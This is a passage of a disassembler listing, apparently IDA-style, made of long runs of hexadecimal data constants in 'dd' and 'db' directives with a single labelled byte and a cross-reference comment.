		dd 5A490DA6h, 0F3BD2082h, 585E08F8h, 222C3h, 0D412583h
		dd 0CF351E64h, 83A5243Ah, 6934F505h, 63B0D733h,	9856621Bh
		dd 73A16837h, 9E220E4h,	0C411779h, 0D19DDDF0h, 1CF39C98h
		dd 961C66Dh, 5D52D8D9h,	9F2777F2h, 0CA8ED62Ch, 0C9801EDEh
		dd 4100468Dh, 440210E9h, 6F09E6ECh, 577EF40Fh, 1FAF1601h
		dd 98C49262h, 0DBAA8357h, 0E9502896h, 8E25105Eh, 0C2A801EBh
		dd 0FCAFC331h, 599E0D01h, 3A45F769h, 9CFA9413h,	0D3252139h
		dd 0CF037D5Ah, 164B9392h, 474A04ECh, 0B372883h,	0A729E5F7h
		dd 165E02A5h, 25E6412Eh, 300D2220h, 64B26BCBh, 7A815C97h
		dd 208F053h, 35612731h,	0B31034D1h, 11C58F12h, 8E2FB4B9h
		dd 99BBD780h, 714F492Ah, 139004FFh, 0A466C85Eh,	12B88040h
		dd 5D06E6Fh, 297F3B98h,	2DE23084h, 0A960150Bh, 991BD139h
		dd 2BD34856h, 0CBC614A8h, 5FF07F38h, 5C04F52Fh,	0F071AB0h
		dd 830DE2F4h, 9BF46B30h, 388B3D3Bh, 773A41A8h, 0A5902DC1h
		dd 0E9D06ADEh, 6B2C60D7h, 5E826478h, 4914EBA0h,	11C1509h
		dd 0A83C00D9h, 8052A632h, 6F0B166Ch, 18F129C9h,	0A4AF2B53h
		dd 8E48288Bh, 3D3DF84Ch, 36A47FB7h, 2573A7B2h, 473DB8AFh
		dd 4E10272Bh, 7606E45Fh, 0D3F728D1h, 5EF31783h,	10904EAh
		dd 7311E3DAh, 0FC02C227h, 2A30C3F5h, 6056C26h, 7F59D40Bh
		dd 3076D08h, 5F685257h,	5A6A5D88h, 2AC785BDh, 515EF25Fh
		dd 0E96A5CA6h, 1C52E300h, 0D70D63h, 2D0CB47Eh, 3B5C12CFh
		dd 0C90859B7h, 500E274h, 6BD52336h, 8AD027E9h, 7DEB5D20h
		dd 0D7E329EEh, 5D08F440h, 774ABBB0h, 9BD0ED5Bh,	787D911h
		dd 23C13F81h, 3B1C7D76h, 0FC4086F6h, 9E59B78Ah,	0D80451C5h
		dd 121221DBh, 246CECA1h, 80871D31h, 0F2820AE3h,	0E17F0BA8h
		dd 0B32EF18Bh, 3C888218h, 0A7667E87h, 0A8186757h, 9537E4ABh
		dd 8B2FFA46h, 0ECFC224Fh, 9E0A093Ah, 3963033Ah,	363340C1h
		dd 92D16B4Eh, 8564F5CBh
		db 3Bh,	1, 0FDh
byte_544547	db 0B4h			; DATA XREF: ___:off_445218o
		dd 5CC59DEBh, 404B1181h, 0A06B4B61h, 290A44B1h,	8BB53DAh
		dd 816ED02Dh, 0E6D6783h, 0E655F125h, 208A90CBh,	21F4B56Dh
		dd 9D32CCB7h, 0C2016352h, 11D02256h, 9DD3F792h,	0E9C4AAA8h
		dd 3B00F99Ah, 50FEA7E6h, 0B2584B76h, 7AE9C3B9h,	51203BF0h
		dd 5470BA10h, 790A55D8h, 9C295465h, 0DD489B8Bh,	0C7578919h
		dd 50FB4DD9h, 591CE84h,	5695F37Fh, 0B2B0828Ch, 0D8578E89h
		dd 90D5BF3h, 6B005F3Dh,	27FF0139h, 0ACB754B2h, 0C1550666h
		dd 0E34BC20h, 0FC477B20h, 0F509B28Dh, 12367D67h, 397B20C6h
		dd 60F45558h, 66E381FFh, 80639804h, 972B784h, 0CFE9200Dh
		dd 0BFE7BABh, 54A170C2h, 497D6502h, 89DF3193h, 0C8D82280h
		dd 2C10D7Fh, 4D0D6DFh, 0D8257CB7h, 8F5E2DE9h, 0C0B4BDE8h
		dd 30721E0Bh, 0E1296175h, 0C2A8B94Ah, 98206A41h, 3ECF90F2h
		dd 0A02C013Eh, 0E2EEAE09h, 6801ADF5h, 0CB21030Ah, 0FA65B2EBh
		dd 91BB0790h, 0C423CA39h, 3B2DB143h, 0E27C78EAh, 9D06E4Ah
		dd 5CEE5196h, 805BA322h, 1D2D81FCh, 0F96BF5A0h,	6F1FA8BDh
		dd 3AA3AC3Dh, 0B343BDA4h, 1D23D985h, 7CE49B49h,	20277B79h
		dd 0B2B74E12h, 547DC239h, 10C443C6h, 5FCD0A19h,	0E894D14h
		dd 4E02FEEDh, 71F9583Bh, 4B0275A4h, 5F50D332h, 68625761h
		dd 5AA14F7Ch, 2D4B0120h, 87D4931Eh, 0F81FF96h, 0C22BA3B4h
		dd 0B3E3300Eh, 5966E880h, 5175FAB8h, 0E6B05004h, 0BCACC188h
		dd 0C866880h, 5D6B6535h, 42808360h, 0D73CBA4Bh,	4D01C9F8h
		dd 0E9746B4Ch, 997C15BCh, 827885DFh, 6CFC0D75h,	0F4A371A7h
		dd 6B60548Fh, 84644F53h, 1B98B571h, 0E912F529h,	0F2B22661h
		dd 97F0A1h, 0F01C4721h,	0B7425A89h, 0C62D7B11h,	1280689Ch
		dd 1DBB2C74h, 7C850F11h, 0CA810420h, 0B45F05D6h, 0EA3E39ECh
		dd 0C23E518h, 5B582BFBh, 0F81C10C8h, 3D1EE15Eh,	88FBE57Bh
		dd 0EE4E28BDh, 0BA9303B3h, 62680ED0h, 0BC059969h, 2D75E51Ch
		dd 9C2E16DDh, 3B938BB9h, 383FA367h, 0C6ADE0EDh,	2D972360h
		dd 42C22962h, 0E95A0800h, 99B5F85Fh, 847B5222h,	45ECBED4h
		dd 7D8B3FB9h, 0BDFB9550h, 3B6122Ah, 5FEE738Fh, 0C20F19E9h
		dd 0C26FF17Dh, 5AFEED92h, 768438C2h, 3ADFE917h,	0A820C5A8h
		dd 38579F9Ah, 0BF27E311h, 8697CD3h, 7609C4AEh, 0E80F015Fh
		dd 0D33CAC08h, 6C17533Ah, 0DF9CE11Ch, 7A75339Ah, 3232FD9Dh
		dd 0CE5AF74Dh, 53E94E9Fh, 0BE86A785h, 984E618Eh, 8F402255h
		dd 4CF8EC4Eh, 0AA96F872h, 759CDD44h, 3481E921h,	0C80A051Bh
		dd 0F30F8F42h, 0E15E5B0Ah, 72747D52h, 564140DAh, 43CABC2Ch
		dd 9BF75955h, 0ED0C05D9h, 5BB6A557h, 7DB5EDECh,	4A80858h
		dd 51D64E49h, 973B114h,	75F6CF0h, 0DC880257h, 4188CC2Fh
		dd 1DE16083h, 37C67F82h, 0DC27F9B6h, 0E0E9D0AFh, 49B3144Bh
		dd 9813EED6h, 4BE2DAAh,	98BDEFD7h, 0BDE9EBF4h, 88FFAF84h
		dd 6B13D5AEh, 36B23958h, 0F61836C1h, 38F63068h,	3BF37D16h
		dd 50E2CF11h, 3162F994h, 0E459CA33h, 446817A8h,	0A57EA96Eh
		dd 0C8898AEDh, 71556A62h, 18538D5Dh, 0DCFBE916h, 73BD87DBh
		dd 0BA774908h, 43F1DE90h, 9879DB4h, 8B3AC577h, 2107BE0Fh
		dd 0FA0C8454h, 0E9E125FDh, 5F786864h, 0E909B7DBh, 8C247301h
		dd 63CBEE0Bh, 69E2AE6Eh, 0C740630Eh, 0BF45646h,	0DB0FEE98h
		dd 80619230h, 67107FF7h, 2D6DB82Dh, 0CDB288C8h,	0FBFFB348h
		dd 0C6E0669Dh, 973DDF2Ch, 46ECC507h, 0C1B203E0h, 0CB310301h
		dd 87BD993h, 4E37A159h,	0EE2D36E0h, 0B15B2FDEh,	7A831C42h
		dd 0AFC76AEBh, 0A37B7C3Fh, 331C0708h, 0F7461810h, 7741C6E9h
		dd 4AC9C276h, 0BCF85571h, 0A70C0883h, 2DABE5E9h, 3D92F2C6h
		dd 12DF0F3Bh, 9CAAA26h,	62A1C34Ah, 681DFD80h, 4467A702h
		dd 0F8ADE9E2h, 0AADC9559h, 6D52D30Fh, 0CA30ED17h, 0A87900C3h
		dd 0ACF68126h, 22130211h, 5E8030E9h, 0E64838B8h, 4B9AF470h
		dd 0C1EFA837h, 7E4E97B9h, 4173C33Eh, 0BEAC065Eh, 237A8E61h
		dd 0CDB1600Ah, 39681416h, 0A1F300EBh, 2D3A9E13h, 0BCB56F09h
		dd 6BC87721h, 95135B22h, 0AAF8293Fh, 0AC4FE73Bh, 0FB979E43h
		dd 0A3EF5584h, 0ECE9C507h, 5C5570D7h, 0BE4B0FF8h, 0FE4AC38Fh
		dd 0DE44C7CCh, 0C520EC31h, 0D688AB56h, 4B417766h, 0FACB120Ah
		dd 328BCB3Dh, 6511AE33h, 3DA6DCB1h, 252A0095h, 1FC30A4Ah
		dd 10B2D6Eh, 0B5E93F56h, 0DE507CA3h, 32C0CA56h,	0F78D9BFh
		dd 0FA894422h, 0AEF48C85h, 4953AA44h, 0DECE1490h, 6A992C50h
		dd 0B1E01823h, 4567EA87h, 754C106h, 2290A780h, 0A66E627Ah
		dd 0BE000910h, 5ECC1DABh, 0B6E8C639h, 0EF1FB903h, 134FE92Ch
		dd 0AF79B68Bh, 58A47BF0h, 0EBF46E12h, 0C136F229h, 496FD04Bh
		dd 443A0714h, 0A1CB4BDh, 520D9682h, 81053977h, 5B4FEF81h
		dd 74EA09C5h, 0C134CDCh, 0C2AD0D04h, 40438226h,	23599414h
		dd 21C682BDh, 4B4E57C8h, 3546552Eh, 921D4252h, 475E80B6h
		dd 9801E3ECh, 27D4B5D7h, 2EBCEA60h, 0AB184A3Ah,	25082010h
		dd 46675F5Bh, 753EDA4h,	0B163D54h, 2FE3C064h, 3626ED02h
		dd 8F386F43h, 0AF1DDF65h, 4575E1EFh, 0C7E7F751h, 33549330h
		dd 0BB529740h, 2035424Ah, 1838FA0Bh, 206B701h, 8036B353h
		dd 0C05541E3h, 0E288EBB7h, 47E914DEh, 0F981866Dh, 0ED74C86Eh
		dd 6F9E2589h, 6BDA2C80h, 54637C3Ch, 0A041B44Ch,	30840593h
		dd 0AEB2DDFFh, 1660EE25h, 516F59E4h, 1E7EC49h, 1EC06A4Ch
		dd 0B346F787h, 0C4FC806h, 340A5528h, 0BC09EE7Ch, 55353316h
		dd 1808A5A8h, 47910E5Fh, 1342071h, 8192ECEh, 47A74F1Ch
		dd 0DC4BDC76h, 96DC321Dh, 87907709h, 0EFC068F9h, 317983C3h
		dd 0EBC12764h, 0EA1EEF70h, 0E984E20Ch, 44B95A6Ch, 0B329539Ch
		dd 0DBEC4E95h, 5C61AEB4h, 178145F0h, 8F3768CAh,	3D142E40h
		dd 758013B9h, 8A106BE6h, 62B9050Bh, 0B81CE111h,	0D9483310h
		dd 0F180D20Fh, 1EC1C9DCh, 1E128284h, 2844F2C1h,	0C3F85AD3h
		dd 0DC2032E2h, 410357FEh, 0A4AEBDD1h, 81E1CDDh,	0BC924D49h
		dd 97BE96C0h, 0A778484Fh, 3225F03Eh, 6D68CE01h,	7F4F7753h
		dd 0BF5F1E20h, 5116B271h, 1689CEBBh, 70AE9431h,	5ED5BDD1h
		dd 0ED874250h, 4BC065Fh, 0FEF68A0Eh, 3AB95120h,	295E6974h
		dd 64086900h, 0A0339A71h, 854D508h, 4C297CDBh, 0C6C293Eh
		dd 1C241034h, 41FE9181h, 5815BB00h, 4313E617h, 0F3815B80h
		dd 7A8AE85Ch, 0FAE92C44h, 0E6BF8136h, 0E9686335h, 8D403F40h
		dd 76F236C7h, 164C9813h, 0D211DBBh, 2C6FDE0h, 0EC9B5F08h
		dd 7916AECCh, 931685E8h, 7C00CA72h, 29C564F1h, 61355E90h
		dd 33390EA4h, 530DE578h, 21152CE9h, 9EA2DC05h, 0D39CD5B2h
		dd 1D76BD60h, 33CFA051h, 3FC257Fh, 882F9F2h, 34707E81h
		dd 2AF13A1Bh, 0BDEF27F4h, 0D696F279h, 44BD46C0h, 78BF0F7Ah
		dd 7B87DDF7h, 0CCFF0B8Ch, 0B4F79742h, 0B9512181h, 33810027h
		dd 4C012A87h, 5A0B24CDh, 0AF03E177h, 29132304h,	0BBE058C7h
		dd 8C9F5A6Dh, 7013E34Bh, 0A7012F5Fh, 47AB1AC5h,	0D7B3897Ah
		dd 0C80CE6F3h, 601EE80h, 5423F669h, 0EECE9C4Dh,	0EF7CFBB6h
		dd 3D252D96h, 47F21086h, 0EA84B802h, 0FEEADD41h, 3BBEFA7Fh
		dd 0AC92D629h, 0A2355224h, 0F19E1252h, 0CC65D3BBh, 0F37DE392h
		dd 820DB5E9h, 0E6632F0h, 80CEFCBFh, 5307E1C0h, 801772B7h
		dd 5FA1EDF7h, 25ECC7D8h, 1CC3F928h, 59CB0C12h, 7964BBAh
		dd 45AD040h, 0DDEC8D5Eh
		dd 49664874h, 9ECCEE4Ah, 1AF998CDh, 32A2BBE9h, 4CCEDD5h
		dd 0F94B18E9h, 58444CFBh, 0C5676FEBh, 60BC9CFCh, 9745ABD2h
		dd 72E33083h, 0DA89F774h, 0D9047C29h, 6EC8AB5Fh, 0EC765A17h
		dd 0A6F8C46Ch, 0C75D28FFh, 1305F240h, 0FF315B57h, 7A016E00h
		dd 9817340h, 0EA7B33F5h, 0F077EB85h, 0E631689Bh, 9BE3C70Dh
		dd 7FF4A207h, 9660C356h, 0BD4CF643h, 0DA90EED8h, 5E7D2B38h
		dd 821334EAh, 0D9EA51A8h, 2BEFCAC1h, 30C4AEB3h,	0D1A9ABC3h
		dd 0A2F0BBD2h, 7CB94651h, 16D26804h, 6F90CF01h,	0B0310373h
		dd 44A50B5Dh, 63DF2F64h, 40AAE5F7h, 8A68EB41h, 98C8DC36h
		dd 1EFD2754h, 50209488h, 0D256856h, 957486Eh, 0F7528064h
		dd 10EE3AD0h, 0B90C2E6Bh, 81A80DA9h, 6C39F104h,	91AF5297h
		dd 813387AFh, 6B88E2CDh, 867B46DFh, 0FF97169Bh,	0FDAD8117h
		dd 0DB89ADA7h, 0DC9C04Ch, 51535557h, 12204728h,	0EC801C48h
		dd 0CE613F5h, 8C2F322h,	3E0B0491h, 0F0347766h, 894FE59Dh
		dd 0FDC60B2Dh, 77AF65B4h, 13E94330h, 4B901949h,	0C8037EB8h
		dd 5B593E7Ch, 442C84F4h, 0F65E54B8h, 0DDE2561h,	28E1DFB3h
		dd 2CAFB854h, 0FE40B75Bh, 308F9888h, 0C32BA4B8h, 0F1287605h
		dd 3324C61Fh, 0CC49D84h, 1DF1B504h, 0DDAECC52h,	4B4840CEh
		dd 21488810h, 1FB705A9h, 0DA82326Eh, 314F208h, 7E3446F5h
		dd 144B4518h, 10B20EA0h, 7E0CF371h, 2889F09h, 0FEC6D231h
		dd 2BE22C47h, 28640741h, 45D0C992h, 7F08C151h, 2C5146CBh
		dd 0EE022D6Fh, 2476B4ABh, 25153001h, 2FF4F231h,	7F45B722h
		dd 0E550263Eh, 79186885h, 984EC78Bh, 1932E951h,	80E027A2h
		dd 0D1326786h, 1B60BD0Ch, 29987FCDh, 0E504B298h, 7C397E92h
		dd 0B257682h, 5548EE57h, 8A24DB33h, 6B234151h, 9DFCAF8h
		dd 809B95AFh, 5D518D2Dh, 0FB16A419h, 0E2EA0B17h, 7CE83356h
		dd 5701C690h, 891F3316h, 0BD7E20D1h, 7EB57D9Ah,	20E9781Bh
		dd 0B79000B5h, 0E0EF803Ch, 27CF7CFEh, 0EB96120Ch, 0E1E98340h
		dd 0BF5DA134h, 0C490848h, 514C0AB2h, 8AA0763h, 92D31BDDh
		dd 8D6F177Ah, 8DA3EDE2h, 0C44937C7h, 0D42DE2E6h, 8B3AEB4Fh
		dd 8D252AD2h, 52FB5C0Fh, 3914DF40h, 0E66F5481h,	0DDE98220h
		dd 8AD0599h, 5029684h, 549F4A9Eh, 7FC40046h, 0EBC10989h
		dd 0B34B0228h, 46BFFB0Ah, 0EA028B27h, 41033860h, 66014A34h
		dd 0CF60CA5Fh, 29EE13BEh, 0E0C1C34Fh, 0EF005AB0h, 2CFB46F2h
		dd 0F3814FEAh, 68F9159Fh, 0C829439Ah, 0E1C8A777h, 0C1F71BF7h
		dd 6925F75Dh, 9E605DC2h, 0D1F6E3C9h, 0BA01BCB6h, 3ED33438h
		dd 0F87DFF38h, 48F1B76Dh, 0D7BD325h, 7A75618Bh,	4628AB44h
		dd 7167A056h, 0F6C4FE07h, 0F74B80DCh, 489698Bh,	69BF515Dh
		dd 0BFD1C06Ah, 0EE01044Bh, 0C2A96113h, 685C0081h, 0CD324E1Eh
		dd 44864197h, 6067DD5Eh, 284D533Eh, 35F883C8h, 35C0F47Ah
		dd 0E05DD7B4h, 8B70962Dh, 412FFEE9h, 9C4EEF13h,	701D2A68h
		dd 555B887h, 69256240h,	2E5E3C0Ah, 4A15B20Bh, 5A342D03h
		dd 7E59E176h, 57AD1F96h, 18A39C49h, 316850D9h, 83D54B84h
		dd 0FE120413h, 0E0E0B2AFh, 31756DEBh, 446C311Bh, 639553FCh
		dd 6F263ED1h, 0F7019902h, 7870465Eh, 227B642h, 8A7DBD29h
		dd 53C240FDh, 0E14C32E9h, 0DAC04144h, 1DEAF803h, 64940501h
		dd 0AB2D0C85h, 2755E860h, 5107DFE9h, 0EC656445h, 50BE0FCDh
		dd 0D267FC1Ah, 0AFCA0B91h, 22F58C1Bh, 672881h, 4D68D388h
		dd 8ABC2F5Ah, 0C9AFCFC9h, 0C54CA917h, 0C4BEDD88h, 5B66C280h
		dd 7F425CC0h, 5F3EC982h, 6F37E47Fh, 5ED66E05h, 0C20BFA01h
		dd 2490348Bh, 504C4A95h, 36021CBFh, 1AE93C9Bh, 9786F26Fh
		dd 4F21D4E8h, 5C2C9095h, 68E108F7h, 0E9053BF4h,	65AE416Ah
		dd 8A02AE92h, 0C067FA49h, 573B39Ch, 0CA0977E7h,	0D0C72059h
		dd 20605E6Fh, 147FC211h, 1673EA2h, 52568AE4h, 32FB09FFh
		dd 4B0C6150h, 7D511668h, 0B9604089h, 9057BE0Bh,	12355C40h
		dd 0D513AF31h, 0A4E976D1h, 0F68B94FAh, 746C5FCFh, 0EBB41704h
		dd 0F3EF8724h, 9DBAD277h, 3329426Eh, 0E8814D74h, 61DDD2Dh
		dd 7A229938h, 0EF31C60Bh, 80DF0F1Ch, 47C92DF3h,	3BF15801h
		dd 0FF5E0840h, 0AA3E7DFEh, 0ACE1F3A4h, 0E90DBBDFh, 0F17B3968h
		dd 1B2395Ah, 417FB850h,	0BC2A4F02h, 60C812ECh, 0B658D6E2h
		dd 0B2DDF02Dh, 0FED375B8h, 526E6885h, 2069B2A3h, 0DDC9C851h
		dd 0F52D28F1h, 7A2C651Eh, 3444951Eh, 0F2C869FBh, 1A5A085Ch
		dd 75C555C0h, 8F7A0C8Fh, 0D7E2C133h, 0F6CA7E36h, 754C888Ch
		dd 0F00AAD24h, 5C6AEF0Bh, 366CF102h, 4ACC8070h,	0A0194F57h
		dd 2647B5CBh, 1F1A6E90h, 7BAD3DD8h, 135F6158h, 3C892CFCh
		dd 0A1865384h, 0A4117C5Fh, 75E2382h, 0F65D6180h, 27F1D4D9h
		dd 6A7AC3F0h, 0A3065827h, 0E916DC0Ch, 412F4D59h, 3663841h
		dd 7A323114h, 46EC30A5h, 4FAF41Fh, 0C8191505h, 0B184FB2Fh
		dd 0E95D0702h, 2D2674B3h, 2DA59CDFh, 1C77F929h,	0BD5C5F2Bh
		dd 29E9A146h, 0EB75123Ah, 6B60F97Dh, 0D462531Fh, 1757F840h
		dd 0B25F2168h, 6F809333h, 176935BFh, 215E5328h,	7FFD97A9h
		dd 6F0556FDh, 1E54E264h, 580200F6h, 7E30E93Fh, 142519Ah
		dd 466680Ah, 4CBE8135h,	7A6F1B13h, 9EE7EB0h, 507E4983h
		dd 9ACDEB80h, 0E9260E16h, 0B9423E51h, 94E4F7DDh, 58E3360h
		dd 2515AFBDh, 0F10B7275h, 0EB4F97F6h, 5A4D50CAh, 0B8D5165Eh
		dd 59EA2F6Eh, 2D81202Ah, 425628A8h, 0CBE380D2h,	7143655Dh
		dd 9C4EBAE9h, 39D052D3h, 0DE4B1C93h, 36958ECFh,	0A88EBA13h
		dd 502AC5Bh, 6DCB74DDh,	80047186h, 0D7FFC68Fh, 4DD9A803h
		dd 950507B5h, 0DA06433h, 67B13855h, 50450A6Ch, 0AB853568h
		dd 9BD1709h, 978D04C3h,	0EBB6E016h, 599FC5B2h, 2C412F75h
		dd 981034Fh, 2249F220h,	6D1A8657h, 5A681C3Fh, 45DD254Bh
		dd 0A3412DBAh, 3DF235AAh, 0DF498A2Ah, 8D5AAA7h,	0B246715h
		dd 0D740478Fh, 5E57E89Ah, 0A159C92Bh, 0DFC9E984h, 0F20B9CEDh
		dd 0AF88CC1Dh, 976841DDh, 3EE67E42h, 506D66CCh,	0A5AC544Eh
		dd 35B008F5h, 8E01D42Fh, 81C12E26h, 0EC2A73C3h,	10C8FB29h
		dd 47E906EBh, 0C70197FAh, 169F14F6h, 95E3EF29h,	0AE150813h
		dd 0C3DA578Ch, 183066E9h, 58DC3B89h, 4ABD5952h,	0A9457745h
		dd 84B89228h, 0DCF4F2E8h, 644B137Ah, 526C71FEh,	14E76056h
		dd 6E636880h, 81AB6B47h, 0ECB4679Eh, 781A844Ah,	57FEC279h
		dd 0BBB1101Eh, 1AA99316h, 2F2C018Ah, 8AEE91A8h,	97EB1CE9h
		dd 9EB1E205h, 0F7C69382h, 6137EA14h, 0B2DC5B0Dh, 0AA5B608h
		dd 52A62564h, 625CF9D5h, 0C65FDB93h, 88315F07h,	4904DC03h
		dd 0F52906B9h, 842D3C4h, 5D5E5FFDh, 0B695BD2h, 579A328Ah
		dd 1AF33100h, 0D3997567h, 74837909h, 93E16257h,	7DD2FCD6h
		dd 3AD047B9h, 0ED5FE6FCh, 8DA8847Dh, 694C14A2h,	0AAAF7425h
		dd 251E50E5h, 4F74B986h, 65D90D45h, 0DA5039E2h,	896A4003h
		dd 8E2FFB77h, 0C29A744Ah, 0F2CC9AF9h, 0DB2B5309h, 0F37D0008h
		dd 97361829h, 820795Ch,	0F780E912h, 0E12E90FEh,	176EFA22h
		dd 13686850h, 162DBF54h, 50E2A97Fh, 1C77DF72h, 0F05A387Eh
		dd 2D800FBDh, 73085DE7h, 878D353Bh, 0CCE969AAh,	77BA5FA9h
		dd 0A9723A7Ah, 90ED8080h, 2BB626A7h, 882D154Eh,	3595014Fh
		dd 0F47B5726h, 0A1956CDDh, 82949BBh, 4636F02Ah,	69107605h
		dd 4780D0F7h, 58AB27AFh
		dd 250B8457h, 6380E66Ah, 0A217CAC2h, 0D0291C17h, 7444A166h
		dd 0D81B62EAh, 0F85D58C2h, 730B82D1h, 19E91C90h, 20D3A572h
		dd 9B400EDEh, 5DEA1821h, 47247A42h, 3B11F258h, 0F12A4120h
		dd 0CDC7CD60h, 6D9C1h, 0F952B0F6h, 0B78EE420h, 96887ED9h
		dd 0B26241Bh, 0C1D48AECh, 0D9F8E46Fh, 0BD896AFh, 432BC0B7h
		dd 501B61B4h, 2856585Dh, 0C4489850h, 955997FCh,	0FC256B2Ch
		dd 4FCCE60Eh, 554CBBF4h, 41134EB1h, 0ABFF3D97h,	8E5DD87h
		dd 0DBF79FBEh, 90F30F7Dh, 0DD210307h, 0F5120A5Bh, 897648Fh
		dd 0B80174A0h, 14ED6AEEh, 4DD46h, 0FB19820Dh, 46AE2D3Ch
		dd 84C98B2Fh, 0A5E85AACh, 4067EE03h, 0C9B77DD8h, 88AC6B76h
		dd 406F5F25h, 7D292B25h, 752778BCh, 0C1BF134Eh,	0C1321855h
		dd 628EFAD6h, 30AE680Bh, 358850D1h, 69FC2754h, 0C9810440h
		dd 0B43116CEh, 904FC19h, 0B2CE357h, 0E9D549E0h,	2CADD4E2h
		dd 510DCC60h, 9409FE95h, 0FB5AF489h, 0E6277304h, 0B26742FBh
		dd 0EE704F70h, 5C0DB66Bh, 0DA9B0A99h, 0C3C31E13h, 89551186h
		dd 7B061C18h, 1610C2F1h, 0EFA870AFh, 0EF5A882h,	0C13C54E4h
		dd 57E9E1Ch, 0D8B14704h, 0DC079B14h, 0B32D85D9h, 4F035AF4h
		dd 971123F7h, 43CFB238h, 0C3CB7DDh, 0B720FCBh, 498D874Ch
		dd 55683006h, 0D84CB092h, 0D1AF4BBAh, 5403A4BDh, 0B5F0AEA8h
		dd 15B902B8h, 5BD92155h, 38D8240h, 0E935FD0Bh, 424975D8h
		dd 9456222Ch, 0F09D0527h, 895E5EE9h, 3DB25281h,	0AC20D028h
		dd 815B375h, 5E162ECAh,	0AE5091ACh, 0FD744149h,	0F7D23E7Bh
		dd 9C2441CBh, 5404D236h, 0C065E616h, 3F2B3BB0h,	41AA1F5Bh
		dd 613E1084h, 11FF38D0h, 0F732731Ch, 2F55499Ch,	93F0C59Fh
		dd 8A06FDC8h, 501328DEh, 0C54D61FAh, 0E9EFE058h, 590BB749h
		dd 0C59D7B55h, 73D9A7C1h, 0FED7CC09h, 0C452C52Fh, 30E3FB4Fh
		dd 211D071Ch, 17059B20h, 665AD188h, 0C8109CE8h,	0C6800B11h
		dd 7DA2F525h, 0D67737C3h, 0E98A3A15h, 6BB2060Dh, 0F49B0110h
		dd 0A0BAB3D2h, 7E970209h, 50B150D4h, 3B6529B4h,	0D7C5F3EAh
		dd 8410C3B7h, 9CC34A2Bh, 5621C9C8h, 49C7423Ah, 8275F925h
		dd 14DA791h, 266D6568h,	8B942AEFh, 0B1415A4Ch, 377BF930h
		dd 0C8E489BAh, 0BE25D160h, 0B8F861E0h, 0E7F600F4h, 0E91C3610h
		dd 9DC45513h, 92042822h, 0D964BB45h, 3E869544h,	2FA7CCAAh
		dd 602FF495h, 7E25CC0h,	281BE912h, 0C0A708FCh, 601442EFh
		dd 0F1905F5Fh, 3F2C1325h, 0F1AD413Ah, 0AF9700Bh, 0FEBAC54Fh
		dd 0FBF539FFh, 0EDFCB1EEh, 0C54A7E17h, 72780704h, 0A45BA7CBh
		dd 0CB0908F0h, 0C266E914h, 94D2576Bh, 9AD6822Fh, 2523D60Bh
		dd 58A84767h, 0C64A1A25h, 209A382Eh, 0C637AE5Ah, 946623B2h
		dd 22C1B58Ah, 4E3578E0h, 0F01C17D9h, 4BE912C3h,	0E860345Eh
		dd 67B31535h, 56A66B1Eh, 0E9155C5Eh, 7FC5F0Bh, 0CE6866D7h
		dd 2F6952Eh, 0B151F1B2h, 2040D5C3h, 0E92EE2D0h,	5DBC0CACh
		dd 17548FAEh, 0E9DE62EBh, 78C10DE4h, 6EB21418h,	8FE502Fh
		dd 0FBDA2575h, 0D06D8154h, 422C74CEh, 480B97EBh, 26079D5Ch
		dd 3E6C6B1Ch, 8325E38Bh, 0FC748884h, 514ADEC9h,	50A5C08Ch
		dd 26EA7ADCh, 8CE61698h, 2D0708E0h, 0A32450B8h,	822D3055h
		dd 70015C93h, 0D390C40Fh, 0DE47BC97h, 472D6A5Dh, 179F2481h
		dd 2AA2255h, 49BBD975h,	6BDC4711h, 3968D2D1h, 0CD90D5FEh
		dd 99BD4513h, 0F5D64669h, 0C5E6D0C4h, 7091FEC0h, 5829788Eh
		dd 2637F3FDh, 530261DDh, 4D726E52h, 8B24D433h, 4CDC0772h
		dd 46639689h, 0AA054F02h, 0A68A226h, 40500E54h,	6D5B0891h
		dd 7F231224h, 10D54CB8h, 0B5C54AB7h, 5720C1CEh,	0E4AE6C4Eh
		dd 2C2882AFh, 0CDB9942Ah, 99806AC8h, 6940720Fh,	5BDC618Fh
		dd 2F2CAAD9h, 6A0B6809h, 0CCB5ABECh, 0B1ED043Fh, 0ED35AF40h
		dd 2B084194h, 204979C2h, 910843EAh, 0C1D43B4Ah,	23889604h
		dd 6BC9BD00h, 83266815h, 0E50142C5h, 2C5464C1h,	626CDB71h
		dd 539AEF4Ah, 905C15Ah,	0FA292B07h, 0E96F7D35h,	0F2CC9243h
		dd 49F7092Dh, 8D72370h,	452707DCh, 0DBDCA519h, 426076CBh
		dd 0FF09D417h, 2E686538h, 7EC5FA0h, 0E329A72Eh,	1891BD02h
		dd 39FC5515h, 41B08539h, 0E5C34C5Eh, 5F3D7A9h, 0F7F6FC09h
		dd 2763571Ch, 4C4CB9FDh, 0CF076E29h, 0DFBC7C3Bh, 2D795C7Dh
		dd 0FD79BADDh, 6657A1E2h, 27EE24F9h, 0C27F6956h, 18477501h
		dd 66BF5708h, 5C2093E5h, 45DD988Bh, 0D6B2520Fh,	3DDC3CCAh
		dd 0AA9AEBCh, 549B094Bh, 63E72D61h, 7D07E989h, 0B0F4FDAh
		dd 6C6C0573h, 3CC1839Bh, 2B1A03EBh, 0E97E1024h,	830C53C0h
		dd 201452Dh, 38B85B08h,	0E8A4215Ch, 23D32F2Dh, 0FB470C83h
		dd 90C0B718h, 347BBC0Eh, 1A1CF901h, 140B1C08h, 0B69782F7h
		dd 27FFD262h, 0D57C4C30h, 0C97175C9h, 4F7D7269h, 6624E02Bh
		dd 5A69A1B4h, 827B2085h, 4398B9Dh, 67BF75CFh, 0FCE1A5A5h
		dd 0D65E2F7Fh, 0A2866FF3h, 0CE4C2D2Dh, 1D1626EEh, 0A8EF5C64h
		dd 0CAEBE547h, 0B7402C8Fh, 39A240ADh, 36AB0427h, 0EE5BDA31h
		dd 0EE933AB9h, 0E90931A2h, 8BB07003h, 0C9BA53FBh, 78F886Bh
		dd 770B0C2Eh, 183FEA45h, 0EF1D7D45h, 996C1EA0h,	476FDA28h
		dd 7797E270h, 6DE4D72Ch, 146DF82h, 13792DAAh, 8AFA5FC4h
		dd 178A5F56h, 0ECB1E9C4h, 1DB505AAh, 9583DD28h,	0E3AD0305h
		dd 3CBD2D5Bh, 0FBA9C3B0h, 89CB4602h, 0D829E9DEh, 2C2D0442h
		dd 0AF02AD11h, 702BE84h, 7D33E7E9h, 22277F99h, 4EF701F7h
		dd 31DBCCEBh, 7F1B03Fh,	26445945h, 0B845FCABh, 0C0E99E14h
		dd 0E05702B9h, 84E9590Ch, 0EA3B7Ch, 91859F97h, 295AD331h
